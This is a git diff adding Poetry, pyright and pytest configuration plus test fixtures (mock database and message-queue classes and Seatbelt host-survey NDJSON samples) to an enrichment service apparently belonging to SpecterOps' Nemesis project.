+ {file = "yarl-1.9.2-cp310-cp310-win_amd64.whl", hash = "sha256:50f33040f3836e912ed16d212f6cc1efb3231a8a60526a407aeb66c1c1956dde"},
+ {file = "yarl-1.9.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:646d663eb2232d7909e6601f1a9107e66f9791f290a1b3dc7057818fe44fc2b6"},
+ {file = "yarl-1.9.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:aff634b15beff8902d1f918012fc2a42e0dbae6f469fce134c8a0dc51ca423bb"},
+ {file = "yarl-1.9.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a83503934c6273806aed765035716216cc9ab4e0364f7f066227e1aaea90b8d0"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b25322201585c69abc7b0e89e72790469f7dad90d26754717f3310bfe30331c2"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:22a94666751778629f1ec4280b08eb11815783c63f52092a5953faf73be24191"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8ec53a0ea2a80c5cd1ab397925f94bff59222aa3cf9c6da938ce05c9ec20428d"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:159d81f22d7a43e6eabc36d7194cb53f2f15f498dbbfa8edc8a3239350f59fe7"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:832b7e711027c114d79dffb92576acd1bd2decc467dec60e1cac96912602d0e6"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:95d2ecefbcf4e744ea952d073c6922e72ee650ffc79028eb1e320e732898d7e8"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:d4e2c6d555e77b37288eaf45b8f60f0737c9efa3452c6c44626a5455aeb250b9"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:783185c75c12a017cc345015ea359cc801c3b29a2966c2655cd12b233bf5a2be"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:b8cc1863402472f16c600e3e93d542b7e7542a540f95c30afd472e8e549fc3f7"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:822b30a0f22e588b32d3120f6d41e4ed021806418b4c9f0bc3048b8c8cb3f92a"},
+ {file = "yarl-1.9.2-cp311-cp311-win32.whl", hash = "sha256:a60347f234c2212a9f0361955007fcf4033a75bf600a33c88a0a8e91af77c0e8"},
+ {file = "yarl-1.9.2-cp311-cp311-win_amd64.whl", hash = "sha256:be6b3fdec5c62f2a67cb3f8c6dbf56bbf3f61c0f046f84645cd1ca73532ea051"},
+ {file = "yarl-1.9.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:38a3928ae37558bc1b559f67410df446d1fbfa87318b124bf5032c31e3447b74"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ac9bb4c5ce3975aeac288cfcb5061ce60e0d14d92209e780c93954076c7c4367"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3da8a678ca8b96c8606bbb8bfacd99a12ad5dd288bc6f7979baddd62f71c63ef"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:13414591ff516e04fcdee8dc051c13fd3db13b673c7a4cb1350e6b2ad9639ad3"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bf74d08542c3a9ea97bb8f343d4fcbd4d8f91bba5ec9d5d7f792dbe727f88938"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6e7221580dc1db478464cfeef9b03b95c5852cc22894e418562997df0d074ccc"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:494053246b119b041960ddcd20fd76224149cfea8ed8777b687358727911dd33"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:52a25809fcbecfc63ac9ba0c0fb586f90837f5425edfd1ec9f3372b119585e45"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:e65610c5792870d45d7b68c677681376fcf9cc1c289f23e8e8b39c1485384185"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:1b1bba902cba32cdec51fca038fd53f8beee88b77efc373968d1ed021024cc04"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:662e6016409828ee910f5d9602a2729a8a57d74b163c89a837de3fea050c7582"},
+ {file = "yarl-1.9.2-cp37-cp37m-win32.whl", hash = "sha256:f364d3480bffd3aa566e886587eaca7c8c04d74f6e8933f3f2c996b7f09bee1b"},
+ {file = "yarl-1.9.2-cp37-cp37m-win_amd64.whl", hash = "sha256:6a5883464143ab3ae9ba68daae8e7c5c95b969462bbe42e2464d60e7e2698368"},
+ {file = "yarl-1.9.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5610f80cf43b6202e2c33ba3ec2ee0a2884f8f423c8f4f62906731d876ef4fac"},
+ {file = "yarl-1.9.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b9a4e67ad7b646cd6f0938c7ebfd60e481b7410f574c560e455e938d2da8e0f4"},
+ {file = "yarl-1.9.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:83fcc480d7549ccebe9415d96d9263e2d4226798c37ebd18c930fce43dfb9574"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5fcd436ea16fee7d4207c045b1e340020e58a2597301cfbcfdbe5abd2356c2fb"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:84e0b1599334b1e1478db01b756e55937d4614f8654311eb26012091be109d59"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3458a24e4ea3fd8930e934c129b676c27452e4ebda80fbe47b56d8c6c7a63a9e"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:838162460b3a08987546e881a2bfa573960bb559dfa739e7800ceeec92e64417"},
+ {file = "yarl-1.9.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f4e2d08f07a3d7d3e12549052eb5ad3eab1c349c53ac51c209a0e5991bbada78"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:de119f56f3c5f0e2fb4dee508531a32b069a5f2c6e827b272d1e0ff5ac040333"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:149ddea5abf329752ea5051b61bd6c1d979e13fbf122d3a1f9f0c8be6cb6f63c"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:674ca19cbee4a82c9f54e0d1eee28116e63bc6fd1e96c43031d11cbab8b2afd5"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:9b3152f2f5677b997ae6c804b73da05a39daa6a9e85a512e0e6823d81cdad7cc"},
+ {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:5415d5a4b080dc9612b1b63cba008db84e908b95848369aa1da3686ae27b6d2b"},
+ {file = "yarl-1.9.2-cp38-cp38-win32.whl", hash = "sha256:f7a3d8146575e08c29ed1cd287068e6d02f1c7bdff8970db96683b9591b86ee7"},
+ {file = "yarl-1.9.2-cp38-cp38-win_amd64.whl", hash = "sha256:63c48f6cef34e6319a74c727376e95626f84ea091f92c0250a98e53e62c77c72"},
+ {file = "yarl-1.9.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:75df5ef94c3fdc393c6b19d80e6ef1ecc9ae2f4263c09cacb178d871c02a5ba9"},
+ {file = "yarl-1.9.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c027a6e96ef77d401d8d5a5c8d6bc478e8042f1e448272e8d9752cb0aff8b5c8"},
+ {file = "yarl-1.9.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f3b078dbe227f79be488ffcfc7a9edb3409d018e0952cf13f15fd6512847f3f7"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59723a029760079b7d991a401386390c4be5bfec1e7dd83e25a6a0881859e716"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b03917871bf859a81ccb180c9a2e6c1e04d2f6a51d953e6a5cdd70c93d4e5a2a"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c1012fa63eb6c032f3ce5d2171c267992ae0c00b9e164efe4d73db818465fac3"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a74dcbfe780e62f4b5a062714576f16c2f3493a0394e555ab141bf0d746bb955"},
+ {file = "yarl-1.9.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8c56986609b057b4839968ba901944af91b8e92f1725d1a2d77cbac6972b9ed1"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:2c315df3293cd521033533d242d15eab26583360b58f7ee5d9565f15fee1bef4"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:b7232f8dfbd225d57340e441d8caf8652a6acd06b389ea2d3222b8bc89cbfca6"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:53338749febd28935d55b41bf0bcc79d634881195a39f6b2f767870b72514caf"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:066c163aec9d3d073dc9ffe5dd3ad05069bcb03fcaab8d221290ba99f9f69ee3"},
+ {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8288d7cd28f8119b07dd49b7230d6b4562f9b61ee9a4ab02221060d21136be80"},
+ {file = "yarl-1.9.2-cp39-cp39-win32.whl", hash = "sha256:b124e2a6d223b65ba8768d5706d103280914d61f5cae3afbc50fc3dfcc016623"},
+ {file = "yarl-1.9.2-cp39-cp39-win_amd64.whl", hash = "sha256:61016e7d582bc46a5378ffdd02cd0314fb8ba52f40f9cf4d9a5e7dbef88dee18"},
+ {file = "yarl-1.9.2.tar.gz", hash = "sha256:04ab9d4b9f587c06d801c2abfe9317b77cdf996c65a90d5e84ecc45010823571"},
+]
+
+[package.dependencies]
+idna = ">=2.0"
+multidict = ">=4.0"
+
+[metadata]
+lock-version = "2.0"
+python-versions = "^3.11.2"
+content-hash = "d045e1dbc99dad52616a01c138c0827d00a28d879fdd3a22e1eca406e5709715"
diff --git a/cmd/enrichment/poetry.toml b/cmd/enrichment/poetry.toml
new file mode 100644
index 0000000..be97f1e
--- /dev/null
+++ b/cmd/enrichment/poetry.toml
@@ -0,0 +1,3 @@
+[virtualenvs]
+in-project = true
+prefer-active-python = true
\ No newline at end of file
diff --git a/cmd/enrichment/pyproject.toml b/cmd/enrichment/pyproject.toml
new file mode 100644
index 0000000..255b801
--- /dev/null
+++ b/cmd/enrichment/pyproject.toml
@@ -0,0 +1,100 @@
+[tool.poetry]
+name = "enrichment"
+version = "0.1.0"
+description = ""
+authors = ["SpecterOps "]
+packages = [{ include = "enrichment" }]
+
+[tool.poetry.scripts]
+app = "enrichment.__main__:main"
+
+[tool.poetry.dependencies]
+python = "^3.11.2"
+protobuf = "^4.21.5"
+types-protobuf = "^3.20.0"
+typing-extensions = "^4.4.0"
+nemesispb = { path = "../../packages/python/nemesispb", develop = true }
+nemesiscommon = { path = "../../packages/python/nemesiscommon", develop = true }
+prometheus-async = { extras = ["aiohttp"], version = "^22.2.0" }
+elasticsearch = "^8.6.2"
+aiohttp = "^3.8.4"
+httpx = "^0.23.3"
+asyncpg = "^0.27.0"
+winacl = "^0.1.7"
+jsonlines = "^3.1.0"
+aioboto3 = "^10.4.0"
+impacket = "^0.10.0"
+fastapi = "^0.82.0"
+fastapi-class = "^2.0.0"
+uvicorn = { extras = ["standard"], version = "^0.18.3" }
+numpy = "^1.23.2"
+python-magic = "^0.4.27"
+pefile = "^2022.5.30"
+dnfile = "^0.12.0"
+yara-python = "^4.2.3"
+sumy = "^0.10.0"
+nltk = "^3.7"
+olefile = "^0.46"
+binaryornot = "^0.4.4"
+lief = "^0.12.1"
+py7zr = "^0.20.4"
+pypdf = "^3.5.2"
+colorama = "^0.4.6"
+python-multipart = "^0.0.6"
+rich = "^13.3.3"
+structlog = "^23.1.0"
+aiosqlite = "^0.19.0"
+dependency-injector = "^4.41.0"
+python-libarchive = "^4.2.1"
+lnkparse3 = "^1.2.0"
+pycryptodome = "^3.18.0"
+python-registry = "^1.3.1"
+
+[tool.poetry.dev-dependencies]
+pytest = "^7.1.2"
+black = "^22.6.0"
+flake8 = "^5.0.4"
+mypy = "^0.971"
+
+[tool.poetry.group.dev.dependencies]
+pytest-asyncio = "^0.20.3"
+pytest-mock = "^3.10.0"
+bandit = "^1.7.5"
+pyright = "^1.1.302"
+asyncpg-stubs = "^0.27.0"
+flake8-cognitive-complexity = "^0.1.0"
+debugpy = "^1.6.7"
+watchdog = {extras = ["watchmedo"], version = "^3.0.0"}
+
+[build-system]
+requires = ["poetry-core>=1.0.0"]
+build-backend = "poetry.core.masonry.api"
+
+[tool.isort]
+import_heading_stdlib = "Standard Libraries"
+import_heading_firstparty = "Nemesis Libraries"
+import_heading_thirdparty = "3rd Party Libraries"
+profile = "black"
+extra_standard_library = "asgiref"
+known_first_party = "nemesis"
+src_paths = ["isort", "test"]
+line_length = 90
+use_parentheses = true
+multi_line_output = 3
+include_trailing_comma = true
+ensure_newline_before_comments = true
+sections = [
+ "FUTURE",
+ "STDLIB",
+ "DJANGO",
+ "THIRDPARTY",
+ "FIRSTPARTY",
+ "LOCALFOLDER",
+]
+
+# [tool.pyright]
+# Using pyrightconfig.json instead since pyproject.toml has 2nd class
+# support in VS code: https://github.com/microsoft/pyright/issues/694#issuecomment-823778235
+
+[tool.black]
+line-length = 240
diff --git a/cmd/enrichment/pyrightconfig.json b/cmd/enrichment/pyrightconfig.json
new file mode 100644
index 0000000..102e0c9
--- /dev/null
+++ b/cmd/enrichment/pyrightconfig.json
@@ -0,0 +1,40 @@
+{
+ "include": [
+ "**/*.py"
+ ],
+ "exclude": [
+ "**/__pycache__/**",
+ "**/.git/objects/**",
+ "**/.git/subtree-cache/**",
+ "**/.hg/store/**",
+ "**/.ipynb_checkpoints/**",
+ "**/.mypy_cache/**",
+ "**/.pytest_cache/**",
+ "**/.venv/**",
+ "**/*.egg-info/**",
+ "**/build/**",
+ "**/dist/**",
+ "**/node_modules/*/**",
+ "enrichment/lib/ext_tools/*",
+ ],
+ "executionEnvironments": [
+ {
+ "root": ".",
+ "pythonVersion": "3.11",
+ "extraPaths": [
+ "../../packages/python/nemesiscommon",
+ "../../packages/python/nemesispb",
+ ]
+ },
+ ],
+ "ignore": [
+ "enrichment/lib/ext_tools"
+ ],
+ "pythonVersion": "3.11",
+ "reportMissingImports": true,
+ "reportMissingTypeStubs": false,
+ "typeCheckingMode": "basic",
+ "useLibraryCodeForTypes": true,
+ "venvPath": ".",
+ "venv": ".venv"
+}
\ No newline at end of file
diff --git a/cmd/enrichment/pytest.ini b/cmd/enrichment/pytest.ini
new file mode 100644
index 0000000..a318d22
--- /dev/null
+++ b/cmd/enrichment/pytest.ini
@@ -0,0 +1,6 @@
+[pytest]
+minversion = 6.0
+asyncio_mode = auto
+addopts = -ra -q
+testpaths =
+ tests
diff --git a/cmd/enrichment/tests/__init__.py b/cmd/enrichment/tests/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/cmd/enrichment/tests/conftest.py b/cmd/enrichment/tests/conftest.py
new file mode 100644
index 0000000..ffa626c
--- /dev/null
+++ b/cmd/enrichment/tests/conftest.py
@@ -0,0 +1,51 @@
+# Standard Libraries
+from functools import cache
+from unittest.mock import MagicMock, mock_open
+
+# 3rd Party Libraries
+import pytest
+from pytest_mock import MockerFixture
+
+
+@pytest.fixture(autouse=True)
+def change_test_dir(request, monkeypatch):
+ monkeypatch.chdir(request.fspath.dirname)
+
+
+# Source: https://stackoverflow.com/questions/1289894/how-do-i-mock-an-open-used-in-a-with-statement-using-the-mock-framework-in-pyth
+class FileMock(MagicMock):
+ def __init__(self, mocker: MagicMock, **kwargs):
+ super().__init__(**kwargs)
+
+ if mocker:
+ self.__dict__ = mocker.__dict__
+ # configure mock object to replace the use of open(...)
+ # note: this is useful in scenarios where data is written out
+ _ = mock_open(mock=self)
+
+ @property
+ def read_data(self):
+ return self.side_effect
+
+ @read_data.setter
+ def read_data(self, mock_data: str):
+ """set mock data to be returned when `open(...).read()` is called."""
+ self.side_effect = mock_open(read_data=mock_data)
+
+ @property
+ @cache
+ def write_calls(self):
+ """a list of calls made to `open().write(...)`"""
+ handle = self.return_value
+ write: MagicMock = handle.write
+ return write.call_args_list
+
+ @property
+ def write_lines(self) -> str:
+ """a list of written lines (as a string)"""
+ return "".join([c[0][0] for c in self.write_calls])
+
+
+@pytest.fixture
+def mock_file_open(mocker: MockerFixture) -> FileMock:
+ return FileMock(mocker.patch("builtins.open"))
diff --git a/cmd/enrichment/tests/services/__init__.py b/cmd/enrichment/tests/services/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/cmd/enrichment/tests/services/postgres_connector/__init__.py b/cmd/enrichment/tests/services/postgres_connector/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/cmd/enrichment/tests/services/postgres_connector/conftest.py b/cmd/enrichment/tests/services/postgres_connector/conftest.py
new file mode 100644
index 0000000..d606355
--- /dev/null
+++ b/cmd/enrichment/tests/services/postgres_connector/conftest.py
@@ -0,0 +1,87 @@
+# Standard Libraries
+import logging
+from types import TracebackType
+from typing import Optional, Type, Union
+
+# 3rd Party Libraries
+import nemesispb.nemesis_pb2 as pb
+import pytest
+import structlog
+from enrichment.lib.nemesis_db import (
+ AuthenticationData,
+ DpapiBlob,
+ ExtractedHash,
+ NemesisDbInterface,
+ Project,
+ RegistryObject,
+ ServiceColumn,
+)
+from nemesiscommon.messaging import MessageQueueProducerInterface
+
+
+class MockNemesisDb(NemesisDbInterface):
+ async def add_project(self, project: Project) -> None:
+ pass
+
+ async def add_authentication_data(self, auth_data: AuthenticationData) -> None:
+ pass
+
+ async def add_extracted_hash(self, auth_data: ExtractedHash) -> None:
+ pass
+
+ async def add_dpapi_blob(self, dpapi_blob: DpapiBlob) -> None:
+ pass
+
+ async def add_registry_object(self, registry_object: RegistryObject) -> None:
+ pass
+
+ async def add_service(self, metadata: pb.Metadata, service_name: str) -> None:
+ pass
+
+ async def add_service_property(self, metadata: pb.Metadata, service_name: str, value_name: str, value: Union[int, str]) -> None:
+ pass
+
+ async def add_host_info(self, os_info) -> None:
+ pass
+
+ async def add_filesystem_object(self, file_info) -> None:
+ pass
+
+
+class MockMessageProducer(MessageQueueProducerInterface):
+ message_count = 0
+
+ async def Send(self, message: bytes) -> None:
+ self.message_count += 1
+ pass
+
+ async def Close(self) -> None:
+ pass
+
+ async def __aenter__(self):
+ pass
+
+ async def __aexit__(
+ self,
+ exc_type: Optional[Type[BaseException]],
+ exc_val: Optional[BaseException],
+ exc_tb: Optional[TracebackType],
+ ) -> None:
+ pass
+
+
+@pytest.fixture
+def nemesis_db() -> MockNemesisDb:
+ return MockNemesisDb()
+
+
+@pytest.fixture
+def message_producer() -> MockMessageProducer:
+ return MockMessageProducer()
+
+
+@pytest.fixture
+def logger() -> logging.Logger:
+ log = logging.getLogger("test")
+ log.addHandler(logging.NullHandler())
+ return log
diff --git a/cmd/enrichment/tests/services/postgres_connector/data/fileinfo.ndjson b/cmd/enrichment/tests/services/postgres_connector/data/fileinfo.ndjson
new file mode 100644
index 0000000..4997439
--- /dev/null
+++ b/cmd/enrichment/tests/services/postgres_connector/data/fileinfo.ndjson
@@ -0,0 +1 @@
+{"Type":"Seatbelt.Commands.Windows.FileInfoDTO","Data":{"Comments":null,"CompanyName":null,"FileDescription":null,"FileName":"C:\\Windows\\win.ini","FileVersion":null,"InternalName":null,"IsDebug":false,"IsDotNet":false,"IsPatched":false,"IsPreRelease":false,"IsPrivateBuild":false,"IsSpecialBuild":false,"Language":null,"LegalCopyright":null,"LegalTrademarks":null,"OriginalFilename":null,"PrivateBuild":null,"ProductName":null,"ProductVersion":null,"SpecialBuild":null,"Attributes":32,"CreationTimeUtc":"\/Date(1651900411539)\/","LastAccessTimeUtc":"\/Date(1673040385781)\/","LastWriteTimeUtc":"\/Date(1651900356098)\/","Length":92,"SDDL":"O:SYD:(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)"}}
\ No newline at end of file
diff --git a/cmd/enrichment/tests/services/postgres_connector/data/osinfo.ndjson b/cmd/enrichment/tests/services/postgres_connector/data/osinfo.ndjson
new file mode 100644
index 0000000..49abe3d
--- /dev/null
+++ b/cmd/enrichment/tests/services/postgres_connector/data/osinfo.ndjson
@@ -0,0 +1 @@
+{"Type":"Seatbelt.Commands.Windows.OSInfoDTO","Data":{"InputLanguage":"US","InstalledInputLanguages":["US"],"Hostname":"4182bc05-025c-40e3-a683-7f2c21fee4be","Domain":"","Username":"4182BC05-025C-4\\WDAGUtilityAccount","ProductName":"Windows 10 Enterprise","EditionId":"Enterprise","ReleaseId":"2009","Build":"22621.1105","BuildBranch":"ni_release","CurrentMajorVersionNumber":"10","CurrentVersion":"6.3","Architecture":"AMD64","ProcessorCount":"20","IsVirtualMachine":true,"BootTimeUtc":"\/Date(1677783926282)\/","IsHighIntegrity":true,"IsLocalAdmin":true,"CurrentTimeUtc":"\/Date(1677784078907)\/","TimeZone":"Pacific Standard Time","TimeZoneUtcOffset":"-08:00:00","Locale":"en-US","MachineGuid":"bf2687c7-7be3-421c-a83d-0571cc4dbfdd"}}
\ No newline at end of file
diff --git a/cmd/enrichment/tests/services/postgres_connector/data/registryvalue_services.ndjson b/cmd/enrichment/tests/services/postgres_connector/data/registryvalue_services.ndjson
new file mode 100644
index 0000000..80ecb8a
--- /dev/null
+++ b/cmd/enrichment/tests/services/postgres_connector/data/registryvalue_services.ndjson
@@ -0,0 +1,41 @@
+{"Type":"Seatbelt.Commands.HostDTO","Data":{"Message":"====== reg ======\n"}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services","ValueName":"(default)","Value":null,"ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data","ValueName":"(default)","Value":null,"ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Linkage","ValueName":"(default)","Value":null,"ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Linkage","ValueName":"Export","Value":"2e,00,4e,00,45,00,54,00,20,00,43,00,4c,00,52,00,20,00,44,00,61,00,74,00,61,00,00,00,00,00","ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"(default)","Value":null,"ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"Close","Value":"ClosePerformanceData","ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"Collect","Value":"CollectPerformanceData","ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"Counter Names","Value":[83,0,113,0,108,0,67,0,108,0,105,0,101,0,110,0,116,0,58,0,32,0,67,0,117,0,114,0,114,0,101,0,110,0,116,0,32,0,35,0,32,0,112,0,111,0,111,0,108,0,101,0,100,0,32,0,97,0,110,0,100,0,32,0,110,0,111,0,110,0,112,0,111,0,111,0,108,0,101,0,100,0,32,0,99,0,111,0,110,0,110,0,101,0,99,0,116,0,105,0,111,0,110,0,115,0,0,0,83,0,113,0,108,0,67,0,108,0,105,0,101,0,110,0,116,0,58,0,32,0,67,0,117,0,114,0,114,0,101,0,110,0,116,0,32,0,35,0,32,0,112,0,111,0,111,0,108,0,101,0,100,0,32,0,99,0,111,0,110,0,110,0,101,0,99,0,116,0,105,0,111,0,110,0,115,0,0,0,83,0,113,0,108,0,67,0,108,0,105,0,101,0,110,0,116,0,58,0,32,0,67,0,117,0,114,0,114,0,101,0,110,0,116,0,32,0,35,0,32,0,99,0,111,0,110,0,110,0,101,0,99,0,116,0,105,0,111,0,110,0,32,0,112,0,111,0,111,0,108,0,115,0,0,0,83,0,113,0,108,0,67,0,108,0,105,0,101,0,110,0,116,0,58,0,32,0,80,0,101,0,97,0,107,0,32,0,35,0,32,0,112,0,111,0,111,0,108,0,101,0,100,0,32,0,99,0,111,0,110,0,110,0,101,0,99,0,116,0,105,0,111,0,110,0,115,0,0,0,83,0,113,0,108,0,67,0,108,0,105,0,101,0,110,0,116,0,58,0,32,0,84,0,111,0,116,0,97,0,108,0,32,0,35,0,32,0,102,0,97,0,105,0,108,0,101,0,100,0,32,0,99,0,111,0,110,0,110,0,101,0,99,0,116,0,115,0,0,0,83,0,113,0,108,0,67,0,108,0,105,0,101,0,110,0,116,0,58,0,32,0,84,0,111,0,116,0,97,0,108,0,32,0,35,0,32,0,102,0,97,0,105,0,108,0,101,0,100,0,32,0,99,0,111,0,109,0,109,0,97,0,110,0,100,0,115,0,0,0,0,0],"ValueKind":3,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"Counter Types","Value":[54,0,53,0,53,0,51,0,54,0,0,0,54,0,53,0,53,0,51,0,54,0,0,0,54,0,53,0,53,0,51,0,54,0,0,0,54,0,53,0,53,0,51,0,54,0,0,0,54,0,53,0,53,0,51,0,54,0,0,0,54,0,53,0,53,0,51,0,54,0,0,0,0,0],"ValueKind":3,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"Library","Value":"C:\\Windows\\system32\\netfxperf.dll","ValueKind":2,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"Open","Value":"OpenPerformanceData","ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"InstallType","Value":1,"ValueKind":4,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"PerfIniFile","Value":"_DataPerfCounters_d.ini","ValueKind":1,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"First Counter","Value":9184,"ValueKind":4,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"Last Counter","Value":9196,"ValueKind":4,"SDDL":""}}
+{"Type":"Seatbelt.Commands.Windows.RegistryValueDTO","Data":{"Key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\.NET CLR Data\\Performance","ValueName":"First Help","Value":9185,"ValueKind":4,"SDDL":""}}
